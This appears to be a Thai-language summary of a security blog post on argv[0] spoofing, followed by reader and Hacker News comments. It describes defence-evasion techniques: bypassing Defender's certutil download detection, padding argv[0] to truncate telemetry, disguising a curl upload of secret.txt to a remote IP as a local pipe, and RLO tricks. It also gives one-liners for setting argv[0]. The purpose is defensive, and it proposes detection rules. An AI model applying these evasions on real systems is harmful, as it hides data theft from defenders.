ทำไมเราถึงใช้ argv[0]?

 (wietzebeukema.nl)
9 คะแนน โดย GN⁺ 2024-09-04 | 2 ความคิดเห็น | แชร์ทาง WhatsApp
  • บรรทัดคำสั่ง (command line) เป็นสิ่งที่แปลกประหลาด
  • Windows ขึ้นชื่อเรื่องปัญหาลักษณะนี้เป็นพิเศษ แต่ระบบปฏิบัติการส่วนใหญ่ก็มีวิธีติดตั้งใช้งานบรรทัดคำสั่งที่อาจก่อปัญหาด้านความปลอดภัยได้
  • บทความนี้อธิบายปัญหาของธรรมเนียมที่สงวนอาร์กิวเมนต์ตัวแรกของบรรทัดคำสั่งของโปรเซส argv[0] ไว้ให้แทนชื่อของโปรเซส

argv[0] เป็นมรดกตกค้างจากอดีต

  • ตอนเริ่มต้นโปรแกรมจะรับอาร์กิวเมนต์จากบรรทัดคำสั่งและเปิดให้เข้าถึงได้ภายในโปรแกรม ซึ่งในทางปฏิบัติก็เป็นหนึ่งในข้อมูลชุดแรกสุดที่โปรแกรมได้รับเมื่อเริ่มทำงาน
    • มันเป็นกลไกหลักในการเปลี่ยนลำดับการทำงานของโปรแกรม
  • หากดูตระกูล system call exec ที่ถูกใช้ใน POSIX และ DOS/Win32
    • int execv(const char *path, char *const argv[]);
    • หากต้องการเรียกใช้ฟังก์ชัน execv นี้ ต้องส่งพาธเต็มของแอปพลิเคชันที่จะรันเป็น path และส่งเวกเตอร์ที่รวมอาร์กิวเมนต์เป็น argv ให้โปรแกรม พร้อมคืนค่าจำนวนเต็มที่มีรหัสสถานะ
    • ตามสเปกนี้ หากการเรียกประสบความสำเร็จและโปรแกรมเริ่มรัน ก็จะเรียกโปรแกรมปลายทางผ่าน int main (int argc, char *argv[]);
  • ในมาตรฐาน C ทุกฉบับ argc จะไม่เป็นค่าลบ, argv[argc] เป็น null pointer และถ้า argc มากกว่า 0 แล้ว argv[0] จะหมายถึงชื่อของโปรแกรมที่ถูกเรียก
  • บางคนอาจตั้งคำถามถึงความจำเป็นของ argv[0]
    • “โปรเซสใหม่ก็น่าจะรู้ชื่อของตัวเองอยู่แล้ว ทำไมต้องส่งมันมาเป็นอาร์กิวเมนต์ตัวแรกจากโปรเซสผู้เรียกด้วย?”
    • ในสภาพแวดล้อมแบบ POSIX โปรแกรมอาจถูกเรียกผ่าน symbolic link ได้ จึงเป็นกลไกที่ช่วยให้โปรเซสใหม่รู้ว่าคำขอที่ได้รับคืออะไร
    • ตัวอย่างเช่น shutdown และ reboot ของ Debian ลิงก์ไปยังไฟล์รัน systemctl เดียวกัน และทำงานต่างกันตามคำสั่งที่ถูกเรียก
  • สิ่งนี้ดูเหมือนเป็นการตัดสินใจด้านการออกแบบที่น่ากังขา
    • “โปรแกรมควรทำงานต่างกันตามชื่อของตัวเองจริงหรือ?”
    • จากมุมมองสมัยใหม่ มันทำให้พฤติกรรมของซอฟต์แวร์คาดเดาได้ยากขึ้น และขัดกับหลักการออกแบบยุคใหม่
    • แต่ในมุมมองของยุค 1970-1980 อาจมองได้ว่าเป็นความพยายามลดความซ้ำซ้อนเพราะทรัพยากรคอมพิวเตอร์มีจำกัด
    • อย่างไรก็ดี ปัจจุบันปัญหาเรื่องพื้นที่ดิสก์ไม่ใช่ประเด็นใหญ่อีกแล้ว เช่น ใน macOS Sonoma นั้น shutdown และ reboot มีไฟล์รันแยกกัน
    • จึงเกิดข้อถกเถียงว่าการรวมโปรแกรมที่คล้ายกันสองตัวไว้ในไฟล์เดียวจำเป็นจริงหรือไม่ หรือควรใช้วิธีส่งอาร์กิวเมนต์คำสั่งแทนจะเหมาะกว่า
  • ต่อให้ยอมรับหลักการนี้ ตัวการติดตั้งใช้งานเองก็ยังชวนถกเถียง
    • ยังน่าสงสัยว่าข้อมูลของ argv[0] ควรถูกส่งมาเป็นส่วนหนึ่งของอาร์กิวเมนต์โปรเซสหรือไม่
    • โปรแกรมที่พึ่งพา argv[0] อาจเกิดข้อผิดพลาดได้หากโปรเซสผู้เรียกตั้งค่านี้ไม่ถูกต้อง
    • ยังมีโปรแกรมที่ใช้ argv[0] แบบไม่ปลอดภัยในแง่ความมั่นคงปลอดภัยด้วย
    • แนวทางที่ดีกว่าคือแยก argv[0] ออกไปเป็นฟังก์ชันของ task_struct หรือ PEB ต่างหาก เพื่อให้ระบบปฏิบัติการเป็นผู้จัดการค่านี้
      • วิธีนี้ช่วยให้ติดตามได้อย่างสม่ำเสมอและลดขอบเขตของการปลอมแปลง
  • ระบบปฏิบัติการที่ใกล้เคียงแนวทางนี้ที่สุดอย่างน่าประหลาดใจคือ Windows
    • Windows ต่างจากระบบปฏิบัติการกระแสหลักอื่น ๆ ตรงที่มันไม่ได้ตั้งค่า argv[0] ตอนสร้างโปรเซสใหม่
    • การเรียก API ของ Windows (CreateProcess, ShellExecute) จะตั้งค่า argv[0] ให้อัตโนมัติตามพาธของไฟล์รัน
    • แม้ว่าวิธีนี้จะดูเป็นการติดตั้งใช้งานที่สมเหตุสมผลที่สุด แต่ใน Windows ก็ยังมีช่องทางตั้งค่า argv[0] แบบแมนนวลได้ เพราะมันรองรับการเรียก exec แบบ POSIX ด้วย

argv[0] ถูกละเลย (ในกรณีส่วนใหญ่)

  • ไม่ว่าคุณจะเห็นความสำคัญของ argv[0] อย่างไร ในความเป็นจริงมันเป็นแนวคิดที่มีอยู่จริงและมาพร้อมปัญหา
  • ในการเรียก exec เงื่อนไขสามข้อที่กล่าวถึงก่อนหน้านี้นั้น สองข้อแรกเป็นสิ่งที่ระบบปฏิบัติการจัดการให้ แต่ข้อสุดท้ายที่เกี่ยวกับ argv[0] ไม่ได้ถูกควบคุม
  • เนื่องจากผู้เรียก exec ควบคุม argv ได้ทั้งหมด จึงสามารถเพิกเฉยต่อข้อกำหนดนี้ได้ และทั้งระบบปฏิบัติการกับโปรแกรมต้นทาง/ปลายทางก็ไม่ตรวจจับการละเมิดนี้
  • ตัวอย่างการละเลย argv[0]
    • หากต้องการพิมพ์ Hello, world! โดยใช้ echo ปกติจะเรียก execv("/usr/bin/echo", ["echo", "Hello, world!"])
    • แต่ถ้าเรียก execv("/usr/bin/echo", ["oopsie", "Hello, world!"]) โปรแกรม echo ก็ยังทำงานตามปกติและพิมพ์ Hello, world! ออกมา
    • โปรแกรม echo ทำงานโดยไม่สนใจ argv[0] และสนใจเฉพาะอาร์กิวเมนต์ตั้งแต่ argv[1] เป็นต้นไป
    • โปรแกรมส่วนใหญ่ก็ใช้แนวทางคล้ายกันคือไม่สนใจ argv[0]
  • ตัวอย่างการดัดแปลง argv[0]
    • ภาษาโปรแกรมและภาษาสคริปต์หลายชนิด รวมถึง C มีวิธีให้ดัดแปลง argv[0] ได้:
    python3 -c "import os; os.execvp('/path/to/binary', ['ARGV0', '--other', '--args', '--here'])"  
perl -e 'exec {"/path/to/binary"} "ARGV0", "--other", "--args", "--here"'  
ruby -e "exec(['/path/to/binary','ARGV0'],'--other', '--args', '--here')"  
bash -c 'exec -a "ARGV0" /path/to/binary --other --args --here'
  • การดัดแปลง argv[0] ทำได้ง่ายและแทบไม่กระทบต่อการรันโปรแกรมส่วนใหญ่ แต่ในแง่ความปลอดภัยอาจเป็นปัญหาได้

argv[0] อาจทำลายกลไกป้องกันได้

  • argv[0] สามารถถูกใช้เพื่อหลอกซอฟต์แวร์ความปลอดภัยได้ เมื่อผู้ไม่หวังดีเจาะระบบได้แล้ว ก็จะสั่งรันคำสั่งของผู้โจมตีเพื่อควบคุมระบบ
  • ซอฟต์แวร์ป้องกันอย่าง AV และ EDR จะเฝ้าติดตามการรันโปรเซส และหากเห็นว่าคำสั่งบางอย่างเป็นอันตรายก็จะตรวจจับหรือบล็อกไว้ โดยโซลูชันส่วนใหญ่มักตรวจจับคำสั่งที่ผู้โจมตีใช้บ่อยอย่างเชิงรุก
  • ตัวอย่าง: การใช้คำสั่ง certutil ในทางที่ผิด
    • certutil ซึ่งเป็นเครื่องมือบรรทัดคำสั่งที่มีมาใน Windows อยู่แล้ว มักถูกใช้ในการโจมตี โดยใช้เป็นช่องทางดาวน์โหลด payload จากภายนอกหลังจากได้สิทธิ์เข้าถึงเบื้องต้นแล้ว
    • Microsoft Defender Antivirus จะบล็อกการรัน certutil หากมีอาร์กิวเมนต์บรรทัดคำสั่งที่บ่งชี้ถึงความพยายามดาวน์โหลดไฟล์ แต่ถ้าสตาร์ต certutil โดยตั้ง argv[0] เป็นช่องว่าง Defender จะไม่บล็อก
    • นี่แสดงให้เห็นปัญหาที่เกิดจากการตรวจจับด้านความปลอดภัยมองชื่อโปรแกรมเป็นส่วนหนึ่งของบรรทัดคำสั่ง เช่น หากตรรกะการตรวจจับเขียนว่า command_line.contains('certutil') AND command_line.contains('-urlcache') ก็เท่ากับสมมติว่า certutil จะอยู่ในบรรทัดคำสั่งเสมอ แต่เมื่อดัดแปลง argv[0] ก็สามารถหลบเลี่ยงตรรกะนี้ได้
    • ตรรกะการตรวจจับที่มีประสิทธิภาพกว่าควรเขียนในรูปแบบ process_path.endswith('certutil.exe') AND command_line.contains('-urlcache')
  • การหลบเลี่ยงการตรวจจับผ่าน argv[0]
    • การหลบการตรวจจับยังทำได้ด้วยการเติมคีย์เวิร์ดสำหรับจูนกฎลงใน argv[0] โดยทั่วไปการตรวจจับมักรวมเงื่อนไขหลักกับเงื่อนไขเสริมเพื่อกรอง false positive
    • ตัวอย่างเช่น อาจมีกฎตรวจจับเมื่อ attrib.exe ทำพฤติกรรมซ่อนไฟล์ แต่ในทางปฏิบัติมันมักถูกรันอย่างถูกต้องตามปกติกับไฟล์ desktop.ini
    • ผู้โจมตีที่รู้เรื่องนี้จึงอาจใส่ desktop.ini ลงใน argv[0] เพื่อหลบการตรวจจับ เช่น ตั้งค่า argv = ['attrib_\desktop.ini', '+H', 'backdoor.exe']

argv[0] ใช้หลอกลวงได้

  • argv[0] ไม่ได้ถูกนำไปใช้หลอกแค่ซอฟต์แวร์ความปลอดภัย แต่ยังใช้หลอก คน ได้ด้วย
  • นักวิเคราะห์ความปลอดภัยจะตรวจสอบการแจ้งเตือนที่สร้างโดยเครื่องมือด้านความปลอดภัยอย่าง EDR ซึ่งมักมีบรรทัดคำสั่งของโปรเซสที่เกี่ยวข้องรวมอยู่ด้วย
  • บรรทัดคำสั่งของโปรเซสเป็นข้อมูลสำคัญที่ช่วยให้นักวิเคราะห์ตัดสินใจว่าจะสืบสวนต่อหรือมองข้ามการแจ้งเตือนนั้น
  • ตัวอย่าง: การหลอกด้วยบรรทัดคำสั่ง
    • การรันคำสั่ง curl -T secret.txt 123.45.67.89 อาจก่อให้เกิดการแจ้งเตือนเรื่องความเสี่ยงของการรั่วไหลข้อมูล เพราะคำสั่งนี้อัปโหลดไฟล์ secret.txt ไปยัง IP address 123.45.67.89
    • แต่ในสถานการณ์เดียวกัน หากเปลี่ยน argv[0] จาก curl เป็น curl localhost | grep ก็ยังถือเป็นคำสั่งที่ใช้ได้อยู่
    • ซอฟต์แวร์ความปลอดภัยมักแสดงอาร์เรย์ของบรรทัดคำสั่งเป็นสตริงที่คั่นด้วยช่องว่าง ดังนั้นในกรณีนี้คำสั่งอาจดูเหมือน curl localhost | grep -T secret.txt 123.45.67.89
    • จากมุมมองของนักวิเคราะห์ มันอาจดูเหมือนมีการรัน curl localhost แล้วส่งผลลัพธ์ไปยัง grep -T secret.txt 123.45.67.89 ทั้งที่ความจริงคือกำลังอัปโหลดข้อมูลไปยังปลายทางระยะไกล จึงทำให้เข้าใจผิดว่าเป็นการดาวน์โหลดจากที่อยู่ภายในเครื่อง
  • การใช้ตัวอักษร Right-To-Left Override (RLO)
    • สามารถใช้ตัวอักษร RLO (right-to-left override) ที่ขึ้นชื่อเรื่องความอันตรายเพื่อดัดแปลง argv[0] ได้
    • อักขระ Unicode นี้จะสั่งให้แอปพลิเคชันที่เรนเดอร์แสดงตัวอักษรถัดไปในลำดับย้อนกลับ
    • หากแทรก RLO ลงใน argv[0] ก็อาจทำให้ ping moc.elgoog.some-evil-website.com ดูเหมือน ping moc.etisbew-live-emos.google.com ได้
    • วิธีนี้ไม่กระทบตรรกะการตรวจจับโดยตรง แต่มีโอกาสหลอกนักวิเคราะห์ได้
  • เทคนิคเหล่านี้แสดงให้เห็นวิธีหลากหลายที่สามารถดัดแปลง argv[0] เพื่อซ่อนกิจกรรมอันตรายโดยหลอกทั้งซอฟต์แวร์ความปลอดภัยและสายตามนุษย์

argv[0] อาจทำให้ telemetry เสียหายได้

  • เนื่องจาก argv[0] อยู่ที่ ต้นสุด ของบรรทัดคำสั่ง หากยัดอักขระลงไปมากพอ ก็สามารถดันอาร์กิวเมนต์อื่นทั้งหมดไปไว้ท้ายบรรทัดคำสั่งได้
  • เรื่องนี้เป็นปัญหาด้วยสองเหตุผล: อย่างแรกคือสามารถ “ซ่อน” ส่วนที่น่าสนใจไว้ท้ายบรรทัดคำสั่งจนทำให้นักวิเคราะห์ไม่เลื่อนดู และที่สำคัญกว่านั้นคือสามารถทำให้ความยาวรวมของบรรทัดคำสั่งยาวพอจนซอฟต์แวร์มอนิเตอร์ตัดอาร์กิวเมนต์สำคัญทิ้ง
  • ข้อจำกัดความยาวของบรรทัดคำสั่ง
    • ตั้งแต่ Windows 7 เป็นต้นมา ความยาวสูงสุดของบรรทัดคำสั่งใน Windows ถูกจำกัดไว้ที่ 14,336 ตัวอักษร (ประมาณ 14 KiB)
    • ในเคอร์เนล Linux ความยาวสูงสุดถูกฮาร์ดโค้ดไว้ที่ 32 page size ซึ่งบนสถาปัตยกรรม 64 บิตจะอยู่ที่ประมาณ 131,072 ตัวอักษร (128 KiB)
    • macOS Sonoma อนุญาตให้บรรทัดคำสั่งยาวได้สูงสุด 1,048,576 ตัวอักษร (1 MiB)
    • นั่นหมายความว่า argv[0] มีพื้นที่ให้ยึดครองได้อย่างมหาศาลตามอำเภอใจ
  • กรณีตัวอย่างของ telemetry ที่เสียหาย
    • ซอฟต์แวร์มอนิเตอร์โปรเซส (เช่น EDR) อาจบันทึกการรันบรรทัดคำสั่งยาวทั้งหมด หรืออาจตัดให้เหลือความยาวคงที่เพื่อลด overhead
    • หากบันทึกบรรทัดคำสั่งยาวทั้งหมด เพียงแค่สตาร์ตโปรเซส 1,000 ตัวโดยใช้ความยาวบรรทัดคำสั่งสูงสุด ก็สามารถสร้างข้อมูลล็อกได้ถึง 1GiB
    • หากมีการตัดข้อความ อาร์กิวเมนต์บรรทัดคำสั่งอาจถูกตัดออกจาก telemetry เช่น คำสั่ง perl -e 'exec {"echo"} "_"x50000, "Hello, world!"' จะพิมพ์ “Hello, world!” แต่ telemetry ของการรันอาจบันทึกไว้แค่เครื่องหมายขีดล่างจำนวนมาก หรือในบางกรณีอาจบันทึกเป็นบรรทัดคำสั่งว่างเปล่าไปเลย
    • ผลลัพธ์คืออาร์กิวเมนต์บรรทัดคำสั่งที่สำคัญจริง ๆ หายไป ทำให้ทั้งตรรกะการตรวจจับและนักวิเคราะห์ไม่สามารถรู้ได้ว่าเกิดอะไรขึ้นจริง

ความเสี่ยงของ argv[0]: การป้องกันและการตรวจจับ

  • argv[0] พยายามแก้ปัญหาหนึ่งอย่าง แต่กลับสร้างปัญหาอื่นตามมาอีกหลายอย่าง
  • มีโอกาสน้อยมากที่ argv[0] จะหายไปในเร็ว ๆ นี้ ดังนั้นจึงควรโฟกัสที่วิธีรับมือกับมันจากมุมมองด้านความปลอดภัย
  • มาตรการป้องกัน
    • นักพัฒนาซอฟต์แวร์สามารถตรวจสอบการดัดแปลงได้โดยเปรียบเทียบว่า argv[0] ตรงกับชื่อไฟล์ของตัวเองหรือไม่ แต่แนวทางนี้ขยายใช้ได้ไม่ดีนัก
    • ระบบปฏิบัติการสามารถทำการตรวจสอบนี้ได้อย่างน่าเชื่อถือกว่า การพึ่งพา argv[0] เพื่อเปลี่ยนลำดับการทำงานของโปรแกรมนั้นไม่แนะนำอย่างยิ่ง
    • โดยทั่วไป นักพัฒนาควรหลีกเลี่ยงการโต้ตอบกับ argv[0] ให้มากที่สุดเท่าที่จะทำได้
  • วิธีตรวจจับสำหรับผู้เชี่ยวชาญด้านความปลอดภัย
    • การตระหนักถึงวิธีทำงานและปัญหาของ argv[0] เป็นก้าวสำคัญในการป้องกันการหลอกลวงผ่านบรรทัดคำสั่ง
    • หากซอฟต์แวร์ความปลอดภัยส่งมอบอาร์กิวเมนต์บรรทัดคำสั่งมาเป็นอาร์เรย์ ก็จะสามารถระบุรูปแบบบางอย่างได้อย่างน่าเชื่อถือ
    • ค่า argv[0] ที่ยาวเกินปกติ หรือมีอักขระน่าสงสัยอย่างเครื่องหมาย pipe ควรถูกทำเครื่องหมายว่าน่าสงสัยทันที
    • แม้ในกรณีที่อาร์กิวเมนต์บรรทัดคำสั่งถูกส่งมาเป็นสตริง ก็ยังสามารถทำเครื่องหมายบรรทัดคำสั่งที่ไม่มีชื่อโปรแกรมรวมอยู่ได้ ซึ่งบ่งชี้ว่า argv[0] อาจถูกดัดแปลง
    • การมีอยู่ของอักขระ RLO เองก็เป็นวิธีตรวจจับที่มีประสิทธิภาพสูงในสภาพแวดล้อมส่วนใหญ่
    • สำหรับกรณีอาร์กิวเมนต์บรรทัดคำสั่งถูกตัดทอน ต้องเข้าใจว่าโซลูชันด้านความปลอดภัยและ data lake จัดการกับสิ่งนี้อย่างไร และสิ่งนี้ส่งผลต่อ telemetry ที่เกิดขึ้นอย่างไร
  • การปรับปรุงซอฟต์แวร์ป้องกัน
    • ซอฟต์แวร์ป้องกันควรปรับปรุงการตรวจจับการใช้งาน argv[0] ในทางที่ผิด และควรสามารถบล็อกการรันซอฟต์แวร์ด้วยค่า argv[0] ที่น่าสงสัยได้โดยไม่ก่อ false positive
    • แพลตฟอร์ม EDR ควรพิจารณาตัด argv[0] ออกจากการรายงานอาร์กิวเมนต์บรรทัดคำสั่งด้วย เพราะจะช่วยกำจัดปัญหาส่วนใหญ่ที่บทความนี้กล่าวถึง และในกรณีส่วนใหญ่ก็มีคุณค่าทางนิติวิเคราะห์ต่ำอยู่แล้ว
  • ในท้ายที่สุด ไม่มีใครอยากปวดหัวเพราะ argv[0] และซอฟต์แวร์ของเราก็เช่นกัน

สรุปโดย GN⁺

  • argv[0] เป็นมรดกตกค้างจากอดีต และขัดกับหลักการออกแบบซอฟต์แวร์สมัยใหม่
  • โปรแกรมส่วนใหญ่มักไม่สนใจ argv[0] แต่สิ่งนี้ก็อาจก่อปัญหาด้านความปลอดภัยได้
  • argv[0] สามารถใช้หลอกทั้งซอฟต์แวร์ความปลอดภัยและคน รวมถึงทำให้ telemetry เสียหายได้
  • ผู้เชี่ยวชาญด้านความปลอดภัยควรตรวจจับการนำ argv[0] ไปใช้ในทางที่ผิด และซอฟต์แวร์ป้องกันก็ควรจัดการเรื่องนี้ให้ดีขึ้น

บทความที่เกี่ยวข้อง

2 ความคิดเห็น

 
scari 2024-09-05

ผมอาจจะเป็นคนรุ่นเก่าไปหน่อยก็ได้.. แต่ผมไม่ค่อยเห็นด้วยกับข้ออ้างของผู้เขียนเท่าไรนัก ปัญหาคือ exec แต่กลับให้ความรู้สึกเหมือนลูกหลงไปตกที่ argv[0] แทน
 
GN⁺ 2024-09-04
ความเห็นจาก Hacker News

  • ความเห็นคัดค้านการอ่าน argv[0] สะท้อนถึงความไม่รู้ของผู้เขียน หรือไม่ก็จำเป็นต้องมีการป้องกันที่เข้มงวดมาก

    • น่าสงสัยว่า busybox จะทำงานบนกล่อง OpenWrt ที่มี root filesystem ขนาด 16MB ได้อย่างไร
    • การถกเถียงเรื่องการจำกัดการใช้ค่า argv[0] ก็น่าพิจารณา
    • ผู้โจมตียังคงเลี่ยงมาตรการความปลอดภัยได้อยู่ดี

  • argv[0] ถูกใช้เพื่อให้เป็นปลายทางของ symbolic link สำหรับคำสั่งนับร้อยคำสั่ง

    • Android ใช้วิธีนี้กับคำสั่งเชลล์ทั่วไปส่วนใหญ่
    • Toybox และ busybox เป็นตัวอย่าง

  • เครื่องมือที่ใช้ argv[0] สามารถใช้รันคำสั่งของโฮสต์จากภายในคอนเทนเนอร์ได้

    • ตัวอย่าง: สามารถตั้งค่าให้คำสั่ง flatpak ไปรันบนโฮสต์ได้

  • การที่โปรแกรมทำงานต่างกันตามชื่อนั้นไม่ใช่ปัญหา

    • การใส่ชื่อโปรแกรมไว้เป็นอาร์กิวเมนต์ตอนเรียกใช้นั้นมีประโยชน์มาก

  • ความเห็นคัดค้าน argv[0] อ้างว่ามันขัดกับหลักการออกแบบสมัยใหม่

    • หากมี symlink ก็สมเหตุสมผลที่โปรแกรมจะรู้ว่าถูกเรียกใช้อย่างไร
    • python ใช้ argv[0] เพื่อตรวจสอบว่าอยู่ภายใน virtualenv หรือไม่ และปรับ search path ตามนั้น

  • argv[0] ไม่ได้แย่เป็นพิเศษในมุมมองด้านความปลอดภัย

    • การแก้ให้ซอฟต์แวร์ความปลอดภัยอ้างอิงค่า argv อย่างถูกต้องจะดีกว่า

  • argv[0] ไม่มีปัญหา

    • คนส่วนใหญ่ใช้ argv[0] เพื่อแยกความแตกต่างของเวอร์ชันคำสั่ง

  • busybox ใช้ argv[0] ในโหมด 'shim'

    • ประเด็นด้านความปลอดภัยที่สำคัญกว่าคือการใช้กลไกความปลอดภัยระดับลึกกว่า เช่น SELinux

  • macOS ตั้งค่าให้หลายคำสั่งชี้ไปยังไฟล์ปฏิบัติการเดียวกัน

    • ใช้ argv[0] เพื่อปรับปรุงการใช้งาน CLI และลดการซ้ำซ้อนของโค้ด

  • การเอา argv[0] ออกจะทำให้สูญเสียความสามารถที่มีประโยชน์

    • ความปลอดภัยเครือข่ายควรถูกจัดการที่ระดับเครือข่าย
    • ต่อให้เอา argv[0] ออก ผู้โจมตีก็จะหาวิธีอื่นได้อยู่ดี